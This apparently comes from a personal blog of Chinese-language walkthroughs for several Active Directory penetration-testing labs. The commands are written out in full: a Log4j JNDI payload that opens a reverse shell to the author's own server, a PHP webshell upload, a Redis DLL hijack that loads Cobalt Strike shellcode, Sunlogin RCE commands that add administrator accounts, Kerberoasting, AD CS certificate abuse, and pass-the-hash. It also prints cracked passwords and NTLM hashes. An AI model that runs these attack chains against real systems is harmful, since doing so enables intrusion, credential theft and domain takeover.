proxychains4 python3 smbexec.py -hashes :04d93ffd6f5f6e4490e0de23f240a5e9 xiaorang.lab/administrator@172.22.6.12

image-20260118215720244

image-20260118215753266

image-20260118215900024

总结

一个还算简单的靶场,主要考点就是AS-REP-Roasting,后续还有一个SID的小知识点。

Certify

flag01

知识点:log4j漏洞利用、grc提权

老规矩fscan

image-20260130191907384

image-20260130191807132

可以发现有log4j

image-20260130191957226

尝试用dns检测一下

1
http://39.98.112.60:8983/solr/admin/cores?action=${jndi:ldap://ju7mdu.dnslog.cn}

成功了,可以进行利用

image-20260130195730665

记得开vps的策略组

1
2
3
/jdk1.8.0/bin/java -jar JNDIExploit-2.0-SNAPSHOT.jar -i 101.201.79.208

nc -lvp 8888
1
http://39.98.116.74:8983/solr/admin/collections?action=${jndi:ldap://101.201.79.208:1389/Basic/ReverseShell/101.201.79.208/8888}

成功拿到shell

image-20260130202755458

但是权限低,需要提权

1
sudo -l

image-20260130202919250

搜索相关提权

image-20260130213719541

1
sudo grc --pty /bin/sh

提权成功

image-20260130203010436

1
/root/flag/flag01.txt

image-20260130203336832

flag02

知识点:SMB空密码、文件共享

1
wget http://101.201.79.208/linux_x64_agent

image-20260130204014089

ip
172.22.9.19 外网机(拿下)
172.22.9.7 域控
172.22.9.26 主机
172.22.9.47 开了fileserver

image-20260130204303651

尝试登录一下(其实这里要密码喷洒一下)

1
proxychains4 smbclient -L 172.22.9.47

成功了

image-20260130204956644

直接读文件

1
proxychains4 smbclient //172.22.9.47/fileshare

image-20260130205212246

image-20260130205508558

get下载文件到本地

image-20260130205830601

flag03&4

知识点:SPN、哈希爆破、AD-CS

还有一个db文件,我们下载下来看看

DB文件查看 SQLite查看

发现是账号和用户名

image-20260201125747820

image-20260201125743447

尝试密码喷洒,喷洒到了但是RDP登不上去

1
proxychains4 crackmapexec smb 172.22.9.26 -u user.txt -p pass.txt --continue-on-success

提示说是SPN,用impacketGetUserSPNs获取SPN

1
proxychains impacket-GetUserSPNs -request -dc-ip 172.22.9.7 xiaorang.lab/zhangjian:i9XDE02pLVf

得到了两个,一个是zhangxia的一个是chenchen

image-20260130210811467

1
2
3
4
$krb5tgs$23$*zhangxia$XIAORANG.LAB$xiaorang.lab/zhangxia*$04840668d5e487a9f588bdbaa475dfc7$f8d6f3057121dd3edb744f9a980faf5836df7e9cbae58ce6d17653433781353289a5d4fec4f6cd77b33309547e7bc0ca11ca79f4ca0ae2cee00d8e688dba06d4d0be297304c4b3dc183ee05dfade4b6ba7ea5fdbc3908e62c06c93cd4c4d44c9578f2b21a0c7c7c2320dc5805c0d72f099e8fc00a2faa268c687104fe562115467e890e75bc60c742f5c21ca2e89985e26f359f3b2b02922e27257d67cd239464abcdc1cc59592cd8175460bf045f5069bd9c47c7178dba6879c5d44058fb548daa7ee5621c9e8655187abbdcc23632edc8e2a5e8576fc402c4483b28485282b73c1621e9e976322b710a7e5b1fb8ec4f6f741a26aa731a7fad22552608c829ff74bd042f970fb94ae943abaee53a68a4bc13fff39a73eb10691d80c551e08ecbd69c65f7fae1ed1d11c0f6d97b18f5d60e0144565520ae535991f797b95041974013bd54e3c8e81833a2fe7f84b362768f7de6cedd6a21cf70d1024ddf83f734589dc2e381ba106db3aefc5dd3c4b491e61f28b6facd437c45fe2f2237b88c09a0c7c8b7dca900846a2a784de1edab31a01570e3db45460c23889d12fad449f16b7c3e60956ad03ee7a79923c07163615ad03ec09ce460a9c14ba91c2dd5f90799f2b96ed43fbd093576d78a25867e617f50f780956786ed436231e9e849c240629e2e0bcb476f7f5648c391ad9552a59ced391823e94ed3c8301154ac0604e302ba050983a17e0419fc045cfbb405b84449889b01d724aba14804dd3ab1b9c15f518991580a05291f0389a25d0ab889401352faa49530544ee46e4ecc1345b87d5023d920a1b08877d3e92b82fc5cef471cd363975c6b8a51523215d206797a6c050cb919f59a15f063029d4d0068c6fec7614f60e91fa4d8d66630c19eb30fac60d71ecc5e70014ecc24dcfe4a40e3868f2758c3058e64864e7f4f200d2ab34029d79f6cca9a9a72367d6b19a82147b029437599837d36957d3523462a95e5f6d5a182a1986310d3508f62d2205050d2058adc55d963c0cafb97a6db37fd332c4bfa125e84770854dba28a3e5db840f25d3cb95493d0e151a8829a5538426d058e629f59d4471d6c037973b003fb51c71e5bf12c22935954f6c3d381e1e53ef4994370d75219400ed91b2a2b519459ec5924837242a0bf5043c82ad53d012e0f52a5f2635a992abb827fe08da3f19d31b909335ca8e65dbe7a00af63be9be5792b9cab3f1fbd7f43cab7037291bf6eb33874e11e01845312807f8b06222fe2c8fd5303666692fb46de18beb72e57b18aa25d3b16e595d22586db9e78a02a26cc670f236da989ad69861ad94020141223e063b5d356761da8913bc392f5155ef24798c3530e07fb0f272cc52e5912588eb14534c7d20b636096c1a6d56756c55c8b5aff414db0848ab51947daa1fda797bbfd01df17be79815551d9902a338e5e19c4212fca8359428f277aacdce1339e58701283cf497afda9f46ce64fbbbdeb64e3f8b7ee7734676b5298446

$krb5tgs$23$*chenchen$XIAORANG.LAB$xiaorang.lab/chenchen*$806d9c2234bb339f2903f937d5fd57b5$35fb2275bc73a00ef7d862375937280c8eb5c142253def810c57d33dacbf1ce0c386510d45be432cac0d2abab8f24006bdff7ea3b80687d861a2f399ebe998d7b425847b73c035022dc8b99cc9e40839305806b6ab4b030ac120813d1196b86959e71436c4c2f75b39332000869eb4d052d5cb0543bc15164c1625fbfb1ad0561515d7523af7db729d30b95c342eee5fe31aeb2a312866eb00bea8b7a314e9037c00033bc813dd2111138fc8364abc0eb6d8f1726c8d415672fcf7caefcfdbdee76457fe077e5006e20653a92a83eca1f87137c281a1217fc237fb3e70b380bee0f468d124531eee3c73d37966a300ba53ae49023f028d5b50346faf334ef522e9dbb4c550337d64c3650a2f797f21799b10d115c7277a81d254b5a4a4aed750add6bdf3e9c57d1da332d14ab9b5ae09946cfed0df1f08d2485116b0901199cba8e68c13261373e87e75132d0eba44f9bf90ca9c05a4dad692a137a8c194a04310198d9aae847dcb26d6d15ea4ed8d1b5aa0be8dfa5abefd1f09f9696787c50d997a9548b03bc01c21dddd5cb2ef1225a06255d9010073aa92550f4d255137202cb90ffb8db4ae8727e313881f356f0e1b552ef443847afda1e523d3c76098316cc5a1c096bbc0e234ec6f1f92dff0a3bb09c6ddf21fd1f45436d0ab5c8f1b0c19cfb00abf5076567e829694779c3c17ad9ad86824277257e85bb718fd6bdb641cef11cc5b5fe313f488b8cd7a8b5da450a78076ac217c2dd300013d1258e61a208b4c6de0f926e633af6885ff25057e322e0457a13d35ba97eb4040b04e12d47332b589bee192e9a718678f8ccc18041234e2ecd65c861770fef912ec092fe0776d88cb718fd8b0f6c7360ef47086d4536ef5fc618a55b734d604cb7cfbfb7d166fc1c2c88caa9215dfe251a503d16dfdc053ea5b7853f01df153842692af13a993192693aa76ac93d77e843d97414525cea75a3c0887ed25fdb3dc6b0aa11e079f32f571381b4fd45d982e4842eee301ae5cf5dbd349cfbb370d64d20aa808219a49b564c285580828e8e8e2ee2188161892c50d953a390a714678bc9f576fb4be0c552da51fb7993d228280e5bbf714a53977c7d16baf21912455e55ee980b6f5212abc5ca469cc9e13d4f2b160ddf8bec67091fd31d76a7a205459c949b83d362ba6f1069b893e1fa2f59cd8dc10f4877741a573ecab96c3900e36c0570c5d0a7fc67cb93c61b7a9ce67eab737c8650a4041363c085a0de5f2ccb97e6f6be75320ead6cddbbfcb096a55e7122ee2ff81a7ab7e0afcca4afcd331a593e810bc87cbf52c107b9c7b1c7db2ca8640e1edf318acfdf49154c644f1bfdaef1a582292ef031bd30b7e9204dc691b88b006a92065d8861c8146ae45e96e47d690a3db271a57fe56e8343a4ebc8ec7ddfecc214162cf4924c176c6fc40db135a5ab4fffa7ff5774d52d36217137d887b6bd713e5df46f05c078fd3c68ebfad55491717fa570dba60c0d0b55b1fd1f2c5
                                   

接下来我们需要用hashcat进行哈希爆破

1
hashcat.exe -m 13100 hash.txt rockyou.txt

image-20260201130059844

1
zhangxia@xiaorang.lab MyPass2@@6

可以成功登录

image-20260130211434302

登录之后是用户权限,无法获取flag

然后因为有用户账号和密码,可以尝试打AD-CS

先检测一下

1
proxychains certipy-ad find -u 'zhangxia@xiaorang.lab'  -password 'MyPass2@@6' -dc-ip 172.22.9.7 -vulnerable -stdout

确实有,存在ESC1

image-20260130211723706

既然有账号密码,那就直接申请证书

1
proxychains certipy-ad req -u 'zhangxia@xiaorang.lab' -p 'MyPass2@@6' -target 172.22.9.7 -dc-ip 172.22.9.7 -ca 'xiaorang-XIAORANG-DC-CA' -template 'XR Manager' -upn 'administrator@xiaorang.lab'

然后直接获取

1
proxychains certipy-ad auth -pfx administrator.pfx -dc-ip 172.22.9.7

image-20260130211855650

1
aad3b435b51404eeaad3b435b51404ee:2f1b57eefb2d152196836b0516abea80

有了管理员哈希之后就可以打PTH了

1
proxychains4 python3 smbexec.py -hashes :2f1b57eefb2d152196836b0516abea80 xiaorang.lab/administrator@172.22.9.7 -codec gbk

image-20260130212037957

1
proxychains4 python3 smbexec.py -hashes :2f1b57eefb2d152196836b0516abea80 xiaorang.lab/administrator@172.22.9.26 -codec gbk

靶场没时间了,这里就不重复开了

MagicRelay

flag1

知识点:redisdll劫持上线cs

fscan发现有redis未授权

image-20260210131911389

我们通过mdut连接发现是windows系统,windows系统无法写入ssh和计划任务,没有80端口也无法写入webshell

redis版本为3.x,也无法利用主从复制

能够利用的只有redisdll劫持,需要以下工具

sb_kiddie-/hacking_win/dll_hijack/DLLHijacker.py at master · JKme/sb_kiddie-

r35tart/RedisWriteFile: 通过 Redis 主从写出无损文件

这里需要这个dbghelp.dll

image-20260210100338279

通过脚本运行一下

1
python DLLHijacker.py dbghelp.dll

image-20260210100859374

然后打开生成的sin文件,在vs中修改一下属性

image-20260210101516832

image-20260210101606577

然后CS生成一个c的payload

image-20260210101911185

dllmain.cpp中的shellcode替换一下

image-20260210102057522

最后选择release x64版本编译一下

image-20260210102801937

生成的这个dbghelp.dll就是我们可以利用的dll,再用这个rediswritefile.py写入

image-20260210103002465

最后再把文件夹放到公网ip上,直接执行

1
2
3
4
5
6
python3 RedisWriteFile.py --rhost 
39.99.156.203 --rport 6379 --lhost 101.201.79.208  --lport 16379 --rpath 'C:\\Program Files\\Redis\\' --rfile 'dbghelp.dll' --lfile 'dbghelp.dll'


redis-cli -h 39.99.156.203
bgsave

一开始失败了,应该是windows版本的问题,用了其他师傅的dll重新搞一此就成功了

image-20260210130554362

1
shell "type C:\Users\Administrator\flag\flag01.txt"

image-20260210130846388

flag02

知识点:向日葵rce

传甜土豆提权至system(无system无法与域内连接)

有杀软,不过好像不会杀掉什么东西

image-20260210131345399

开扫

image-20260210131623595

image-20260210131717423

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
[*] NetInfo 
[*]172.22.12.25
   [->]WIN-YUYAOX9Q
   [->]172.22.12.25
[*] NetInfo 
[*]172.22.12.31
   [->]WIN-IISQE3PC
   [->]172.22.12.31
[*] NetBios 172.22.12.31    WORKGROUP\WIN-IISQE3PC        
[*] NetBios 172.22.12.12    WIN-AUTHORITY.xiaorang.lab          Windows Server 2016 Datacenter 14393
[*] OsInfo 172.22.12.6  (Windows Server 2016 Standard 14393)
[*] NetBios 172.22.12.6     [+] DC:WIN-SERVER.xiaorang.lab       Windows Server 2016 Standard 14393
[*] NetInfo 
[*]172.22.12.6
   [->]WIN-SERVER
   [->]172.22.12.6
[*] NetInfo 
[*]172.22.12.12
   [->]WIN-AUTHORITY
   [->]172.22.12.12
[+] ftp 172.22.12.31:21:anonymous 
   [->]SunloginClient_11.0.0.33826_x64.exe
[*] WebTitle http://172.22.12.12       code:200 len:703    title:IIS Windows Server
[*] WebTitle http://172.22.12.31       code:200 len:703    title:IIS Windows Server
[+] PocScan http://172.22.12.12 poc-yaml-active-directory-certsrv-detect 
[+] Redis 172.22.12.25:6379 unauthorized file:C:\Program Files\Redis/dump.rdb
已完成 17/17
ip 功能
172.22.12.6 WIN-SERVER DC域控
172.22.12.12 WIN-AUTHORITY 存在匿名ftp
172.22.12.25 外网机 (拿下)
172.22.12.31 WIN-IISQE3PC

匿名ftp进行利用

1
proxychains4 ftp 172.22.12.31

发现存在向日葵11.0版本,有个rce(其实前面还扫到了)

image-20260210133617945

利用一下

Release Linux+Mac+Windows · Mr-xn/sunlogin_rce

打向日葵rce,下载exe上传到入口机

扫描

1
C:\Users\Public\xrkRce.exe -h 172.22.12.31 -t scan

image-20260210134223478

漏洞点在49689,尝试rce

1
C:\Users\Public\xrkRce.exe -h 172.22.12.31  -t rce -p 49689 -c "whoami"

image-20260210134242434

能执行命令,搞个RDP上去

1
2
3
C:\Users\Public\xrkRce.exe -h 172.22.12.31  -t rce -p 49689 -c "net user liernian qwer123! /add"

C:\Users\Public\xrkRce.exe -h 172.22.12.31  -t rce -p 49689 -c "net localgroup Administrators liernian /add"

image-20260210135505675

image-20260210135715506

这台机子好像不在域内,那就不提权了

flag04

知识点:AD-CS新利用

这里省略用血猎犬收集信息,直接打,首先先收集一个机器账户的哈希

1
2
3
4
5
[00000003] Primary
* Username : WIN-YUYAOX9Q$
* Domain   : XIAORANG
* NTLM     : e611213c6a712f9b18a8d056005a4f0f
* SHA1     : 1a8d2c95320592037c0fa583c1f62212d4ff8ce9

然后看看服务器

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
[02/10 14:05:30] beacon> shell certutil
[02/10 14:05:30] [*] Tasked beacon to run: certutil
[02/10 14:05:30] [+] host called home, sent: 51 bytes
[02/10 14:05:30] [+] received output:
项 0:
  名称:                   	"xiaorang-WIN-AUTHORITY-CA"
  部门:                   	""
  单位:                   	""
  区域:                   	""
  省/自治区:              	""
  国家/地区:              	""
  配置:                   	"WIN-AUTHORITY.xiaorang.lab\xiaorang-WIN-AUTHORITY-CA"
  Exchange 证书:          	""
  签名证书:               	""
  描述:                   	""
  服务器:                 	"WIN-AUTHORITY.xiaorang.lab"
  颁发机构:               	"xiaorang-WIN-AUTHORITY-CA"
  净化的名称:             	"xiaorang-WIN-AUTHORITY-CA"
  短名称:                 	"xiaorang-WIN-AUTHORITY-CA"
  净化的短名称:           	"xiaorang-WIN-AUTHORITY-CA"
  标记:                   	"1"
  Web 注册服务器:         	""
CertUtil: -dump 命令成功完成。

创建用户

1
proxychains certipy-ad account create -u WIN-YUYAOX9Q$ -hashes e611213c6a712f9b18a8d056005a4f0f  -dc-ip 172.22.12.6 -user liernian -dns WIN-SERVER.xiaorang.lab -debug 

image-20260210140928714

1
liernian/SQruguVlKVNYvo1D

申请证书

1
proxychains certipy-ad req -u 'liernian$@xiaorang.lab' -p 'SQruguVlKVNYvo1D' -ca 'xiaorang-WIN-AUTHORITY-CA' -target 172.22.12.12 -template 'Machine' -debug -dc-ip 172.22.12.6 -timeout 30

image-20260210141530229

导出域控hash

1
proxychains certipy-ad auth -pfx win-server.pfx -dc-ip 172.22.12.6 -debug

image-20260210141613962

发生如下报错

1
KDC_ERR_PADATA_TYPE_NOSUPP(KDC has no support for padata type)

这里报错是因为获取的证书没有 智能卡登录 EKU,但这里我们可以通过另一种方式利用

首先我们先配置一下host,不配置的话最后一步会报错

image-20260210145146842

然后用openssl导出证书

1
2
3
openssl pkcs12 -in win-server.pfx -nodes -out win-server.pem
openssl rsa -in win-server.pem -out win-server.key
openssl x509 -in win-server.pem -out win-server.crt

将证书配置到域控的RBCD

1
proxychains -q python3 passthecert.py -action write_rbcd -crt win-server.crt -key win-server.key -domain xiaorang.lab -dc-ip 172.22.12.6 -delegate-to 'win-server$' -delegate-from 'liernian$'

image-20260210143057269

申请一张cifs服务的ST

1
proxychains -q impacket-getST xiaorang.lab/'liernian$':'SQruguVlKVNYvo1D' -spn cifs/win-server.xiaorang.lab -impersonate Administrator -dc-ip 172.22.12.6

image-20260210143258534

然后本地导入票据 PTT

1
export KRB5CCNAME=Administrator.ccache

最后直接利用

1
proxychains -q impacket-psexec Administrator@win-server.xiaorang.lab -k -no-pass -dc-ip 172.22.12.6 -codec gbk

image-20260210155501599

image-20260210160107259

flag03

知识点:PTH

导出域控哈希

1
proxychains -q impacket-secretsdump 'xiaorang.lab/administrator@win-server.xiaorang.lab' -target-ip 172.22.12.6 -no-pass -k

image-20260210161237047

1
aa95e708a5182931157a526acf769b13

打PTH就行

1
proxychains4 python3 smbexec.py -hashes :aa95e708a5182931157a526acf769b13 xiaorang.lab/administrator@172.22.12.6

image-20260210161455839

Delegation

flag01

知识点:easycms利用

image-20260210164509936

image-20260210164534566

进后台

1
admin/123456

好像cyber打过一样的,不过不是一个版本

漏洞利用如下

1
2
3
4
5
6
7
8
9
POST /index.php?case=template&act=save&admin_dir=admin&site=default HTTP/1.1
Host: 39.98.126.144
Content-Length: 57
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0
Content-Type: application/x-www-form-urlencoded;
Cookie: PHPSESSID=os9kli93e59pjclq4361kaairm; loginfalse74c6352c5a281ec5947783b8a186e225=1; login_username=admin; login_password=a14cdfc627cef32c707a7988e70c1313

sid=#data_d_.._d_.._d_.._d_2.php&slen=693&scontent=<?php eval($_POST["a"]);?>

image-20260210165726216

image-20260210170014669

权限很低,要进行提权

1
find / -user root -perm -4000 -print 2>/dev/null

image-20260210170257673

1
diff --line-format=%L /dev/null /home/flag/flag01.txt

image-20260210170403876

提示

1
WIN19\Adrian

flag02

知识点:

image-20260210170957622

image-20260210171018831

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
[*] NetInfo 
[*]172.22.4.7
   [->]DC01
   [->]172.22.4.7
[*] OsInfo 172.22.4.7   (Windows Server 2016 Datacenter 14393)
[*] NetInfo 
[*]172.22.4.19
   [->]FILESERVER
   [->]172.22.4.19
[*] NetBios 172.22.4.7      [+] DC:DC01.xiaorang.lab             Windows Server 2016 Datacenter 14393
[*] NetBios 172.22.4.45     XIAORANG\WIN19                
[*] NetBios 172.22.4.19     FILESERVER.xiaorang.lab             Windows Server 2016 Standard 14393
[*] NetInfo 
[*]172.22.4.45
   [->]WIN19
   [->]172.22.4.45
[*] WebTitle http://172.22.4.36        code:200 len:68101  title:中文网页标题
[*] WebTitle http://172.22.4.45        code:200 len:703    title:IIS Windows Server

爆破RDP(hydra爆破的时候一直出错)

1
proxychains -q crackmapexec smb 172.22.4.45 -u Adrian -p /home/kali/rockyou.txt -d WIN19
1
Adrian/babygirl1

rdp无法登录,密码过期了,修改一下

1
proxychains python3 smbpasswd.py xiaorang.lab/Adrian:'babygirl1'@172.22.4.45 -newpass 'Admin123$%'

修改无用

comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计